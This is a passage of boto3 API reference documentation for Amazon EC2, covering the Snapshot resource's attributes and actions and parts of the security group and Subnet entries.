'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The inbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +[Snapshot](#id1252) +-------------------------------------------------------------- + +_class_ EC2.Snapshot(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Snapshot: + +import boto3 + +ec2 = boto3.resource('ec2') +snapshot = ec2.Snapshot('id') + +Parameters + +**id** (_string_) -- The Snapshot's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Snapshot.id "EC2.Snapshot.id") + +These are the resource's available attributes: + +* [data_encryption_key_id](#EC2.Snapshot.data_encryption_key_id "EC2.Snapshot.data_encryption_key_id") +* [description](#EC2.Snapshot.description "EC2.Snapshot.description") +* [encrypted](#EC2.Snapshot.encrypted "EC2.Snapshot.encrypted") +* [kms_key_id](#EC2.Snapshot.kms_key_id "EC2.Snapshot.kms_key_id") +* [owner_alias](#EC2.Snapshot.owner_alias "EC2.Snapshot.owner_alias") +* [owner_id](#EC2.Snapshot.owner_id "EC2.Snapshot.owner_id") +* [progress](#EC2.Snapshot.progress "EC2.Snapshot.progress") +* [snapshot_id](#EC2.Snapshot.snapshot_id "EC2.Snapshot.snapshot_id") +* [start_time](#EC2.Snapshot.start_time "EC2.Snapshot.start_time") +* [state](#EC2.Snapshot.state "EC2.Snapshot.state") +* [state_message](#EC2.Snapshot.state_message "EC2.Snapshot.state_message") +* [tags](#EC2.Snapshot.tags "EC2.Snapshot.tags") +* [volume_id](#EC2.Snapshot.volume_id "EC2.Snapshot.volume_id") +* [volume_size](#EC2.Snapshot.volume_size "EC2.Snapshot.volume_size") + +These are the resource's available references: + +* [volume](#EC2.Snapshot.volume "EC2.Snapshot.volume") + +These are the resource's available actions: + +* [copy()](#EC2.Snapshot.copy "EC2.Snapshot.copy") +* [create_tags()](#EC2.Snapshot.create_tags "EC2.Snapshot.create_tags") +* [delete()](#EC2.Snapshot.delete "EC2.Snapshot.delete") +* [describe_attribute()](#EC2.Snapshot.describe_attribute "EC2.Snapshot.describe_attribute") +* [get_available_subresources()](#EC2.Snapshot.get_available_subresources "EC2.Snapshot.get_available_subresources") +* [load()](#EC2.Snapshot.load "EC2.Snapshot.load") +* [modify_attribute()](#EC2.Snapshot.modify_attribute "EC2.Snapshot.modify_attribute") +* [reload()](#EC2.Snapshot.reload "EC2.Snapshot.reload") +* [reset_attribute()](#EC2.Snapshot.reset_attribute "EC2.Snapshot.reset_attribute") + +These are the resource's available waiters: + +* [wait_until_completed()](#EC2.Snapshot.wait_until_completed "EC2.Snapshot.wait_until_completed") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Snapshot's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Snapshot.load "EC2.Snapshot.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +data_encryption_key_id + +* _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + +description + +* _(string) --_ + + The description for the snapshot. + + +encrypted + +* _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + +owner_alias + +* _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + +owner_id + +* _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + +progress + +* _(string) --_ + + The progress of the snapshot, as a percentage. + + +snapshot_id + +* _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + +start_time + +* _(datetime) --_ + + The time stamp when the snapshot was initiated. + + +state + +* _(string) --_ + + The snapshot state. + + +state_message + +* _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + +tags + +* _(list) --_ + + Any tags assigned to the snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +volume_id + +* _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID that should not be used for any purpose. + + +volume_size + +* _(integer) --_ + + The size of the volume, in GiB. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +volume + +(Volume) The related volume if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +copy(kwargs_) + +Copies a point-in-time snapshot of an EBS volume and stores it in Amazon S3. You can copy the snapshot within the same Region or from one Region to another. You can use the snapshot to create EBS volumes or Amazon Machine Images (AMIs). + +Copies of encrypted EBS snapshots remain encrypted. Copies of unencrypted snapshots remain unencrypted, unless you enable encryption for the snapshot copy operation. By default, encrypted snapshot copies use the default AWS Key Management Service (AWS KMS) customer master key (CMK); however, you can specify a different CMK. + +To copy an encrypted snapshot that has been shared from another account, you must have permissions for the CMK used to encrypt the snapshot. + +Snapshots created by copying another snapshot have an arbitrary volume ID that should not be used for any purpose. + +For more information, see [Copying an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-copy-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CopySnapshot) + +**Request Syntax** + +response = snapshot.copy( + Description='string', + Encrypted=True|False, + KmsKeyId='string', + SourceRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the EBS snapshot. +* **DestinationRegion** (_string_) -- + + The destination Region to use in the PresignedUrl parameter of a snapshot copy operation. This parameter is only valid for specifying the destination Region in a PresignedUrl parameter, where it is required. + + The snapshot copy is sent to the regional endpoint that you sent the HTTP request to (for example, ec2.us-east-1.amazonaws.com ). With the AWS CLI, this is specified using the --region parameter or the default Region in your AWS configuration file. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **Encrypted** (_boolean_) -- To encrypt a copy of an unencrypted snapshot if encryption by default is not enabled, enable encryption using this parameter. Otherwise, omit this parameter. Encrypted snapshots are encrypted, even if you omit this parameter and encryption by default is not enabled. You cannot set this parameter to false. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +* **PresignedUrl** (_string_) -- + + When you copy an encrypted source snapshot using the Amazon EC2 Query API, you must supply a pre-signed URL. This parameter is optional for unencrypted snapshots. For more information, see [Query requests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Query-Requests.html) . + + The PresignedUrl should use the snapshot source endpoint, the CopySnapshot action, and include the SourceRegion , SourceSnapshotId , and DestinationRegion parameters. The PresignedUrl must be signed using AWS Signature Version 4. Because EBS snapshots are stored in Amazon S3, the signing algorithm for this parameter uses the same logic that is described in [Authenticating Requests: Using Query Parameters (AWS Signature Version 4)](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) in the _Amazon Simple Storage Service API Reference_ . An invalid or improperly signed PresignedUrl will cause the copy operation to fail asynchronously, and the snapshot will move to an error state. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **SourceRegion** (_string_) -- + + **[REQUIRED]** + + The ID of the Region that contains the snapshot to be copied. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the new snapshot. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1076)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1078)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SnapshotId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SnapshotId** _(string) --_ + + The ID of the new snapshot. + + * **Tags** _(list) --_ + + Any tags applied to the new snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = snapshot.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified snapshot. + +When you make periodic snapshots of a volume, the snapshots are incremental, and only the blocks on the device that have changed since your last snapshot are saved in the new snapshot. When you delete a snapshot, only the data not needed for any other snapshot is removed. So regardless of which prior snapshots have been deleted, all active snapshots will have access to all the information needed to restore the volume. + +You cannot delete a snapshot of the root device of an EBS volume used by a registered AMI. You must first de-register the AMI before you can delete the snapshot. + +For more information, see [Deleting an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSnapshot) + +**Request Syntax** + +response = snapshot.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified snapshot. You can specify only one attribute at a time. + +For more information about EBS snapshots, see [Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshotAttribute) + +**Request Syntax** + +response = snapshot.describe_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The snapshot attribute you would like to view. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CreateVolumePermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'SnapshotId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CreateVolumePermissions** _(list) --_ + + The users and groups that have the permissions for creating volumes from the snapshot. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **SnapshotId** _(string) --_ + + The ID of the EBS snapshot. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.load() + +Returns + +None + +modify_attribute(kwargs_) + +Adds or removes permission settings for the specified snapshot. You may add or remove specified AWS account IDs from a snapshot's list of create volume permissions, but you cannot do both in a single operation. If you need to both add and remove account IDs for a snapshot, you must use multiple operations. You can make up to 500 modifications to a snapshot in a single operation. + +Encrypted snapshots and snapshots with AWS Marketplace product codes cannot be made public. Snapshots encrypted with your default CMK cannot be shared with other accounts. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifySnapshotAttribute) + +**Request Syntax** + +response = snapshot.modify_attribute( + Attribute='productCodes'|'createVolumePermission', + CreateVolumePermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + GroupNames=[ + 'string', + ], + OperationType='add'|'remove', + UserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- The snapshot attribute to modify. Only volume creation permissions can be modified. +* **CreateVolumePermission** (_dict_) -- + + A JSON representation of the snapshot attribute modification. + + * **Add** _(list) --_ + + Adds the specified AWS account ID or group to the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **Remove** _(list) --_ + + Removes the specified AWS account ID or group from the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + +* **GroupNames** (_list_) -- + + The group to modify for the snapshot. + + * _(string) --_ +* **OperationType** (_string_) -- The type of operation to perform to the attribute. +* **UserIds** (_list_) -- + + The account ID to modify for the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets permission settings for the specified snapshot. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetSnapshotAttribute) + +**Request Syntax** + +response = snapshot.reset_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset. Currently, only the attribute for permission to create volumes can be reset. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_completed(kwargs_) + +Waits until this Snapshot is completed. This method calls EC2.Waiter.snapshot_completed.wait() which polls. [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot.wait_until_completed( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * description - A description of the snapshot. + * encrypted - Indicates whether the snapshot is encrypted (true | false ) + * owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + * owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + * progress - The progress of the snapshot, as a percentage (for example, 80%). + * snapshot-id - The snapshot ID. + * start-time - The time stamp when the snapshot was initiated. + * status - The status of the snapshot (pending | completed | error ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * volume-id - The ID of the volume the snapshot is for. + * volume-size - The size of the volume, in GiB. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +[Subnet](#id1253) +---------------------------------------------------------- + +_class_ EC2.Subnet(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Subnet: + +import boto3 + +ec2 = boto3.resource('ec2') +subnet = ec2.Subnet('id') + +Parameters + +**id** (_string_) -- The Subnet's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Subnet.id "EC2.Subnet.id") + +These are the resource's available attributes: + +* [assign_ipv6_address_on_creation](#EC2.Subnet.assign_ipv6_address_on_creation "EC2.Subnet.assign_ipv6_address_on_creation") +* [availability_zone](#EC2.Subnet.availability_zone "EC2.Subnet.availability_zone") +* [availability_zone_id](#EC2.Subnet.availability_zone_id "EC2.Subnet.availability_zone_id") +* [available_ip_address_count](#EC2.Subnet.available_ip_address_count "EC2.Subnet.available_ip_address_count") +* [cidr_block](#EC2.Subnet.cidr_block "EC2.Subnet.cidr_block") +* [customer_owned_ipv4_pool](#EC2.Subnet.customer_owned_ipv4_pool "EC2.Subnet.customer_owned_ipv4_pool") +* [default_for_az](#EC2.Subnet.default_for_az "EC2.Subnet.default_for_az") +* [ipv6_cidr_block_association_set](#EC2.Subnet.ipv6_cidr_block_association_set "EC2.Subnet.ipv6_cidr_block_association_set") +* [map_customer_owned_ip_on_launch](#EC2.Subnet.map_customer_owned_ip_on_launch "EC2.Subnet.map_customer_owned_ip_on_launch") +* [map_public_ip_on_launch](#EC2.Subnet.map_public_ip_on_launch "EC2.Subnet.map_public_ip_on_launch") +* [outpost_arn](#EC2.Subnet.outpost_arn "EC2.Subnet.outpost_arn") +* [owner_id](#EC2.Subnet.owner_id "EC2.Subnet.owner_id") +* [state](#EC2.Subnet.state "EC2.Subnet.state") +* [subnet_arn](#EC2.Subnet.subnet_arn "EC2.Subnet.subnet_arn") +* [subnet_id](#EC2.Subnet.subnet_id "EC2.Subnet.subnet_id") +* [tags](#EC2.Subnet.tags "EC2.Subnet.tags") +* [vpc_id](#EC2.Subnet.vpc_id "EC2.Subnet.vpc_id") + +These are the resource's available references: + +* [vpc](#EC2.Subnet.vpc "EC2.Subnet.vpc") + +These are the resource's available actions: + +* [create_instances()](#EC2.Subnet.create_instances "EC2.Subnet.create_instances") +* [create_network_interface()](#EC2.Subnet.create_network_interface "EC2.Subnet.create_network_interface") +* [create_tags()](#EC2.Subnet.create_tags "EC2.Subnet.create_tags") +* [delete()](#EC2.Subnet.delete "EC2.Subnet.delete") +* 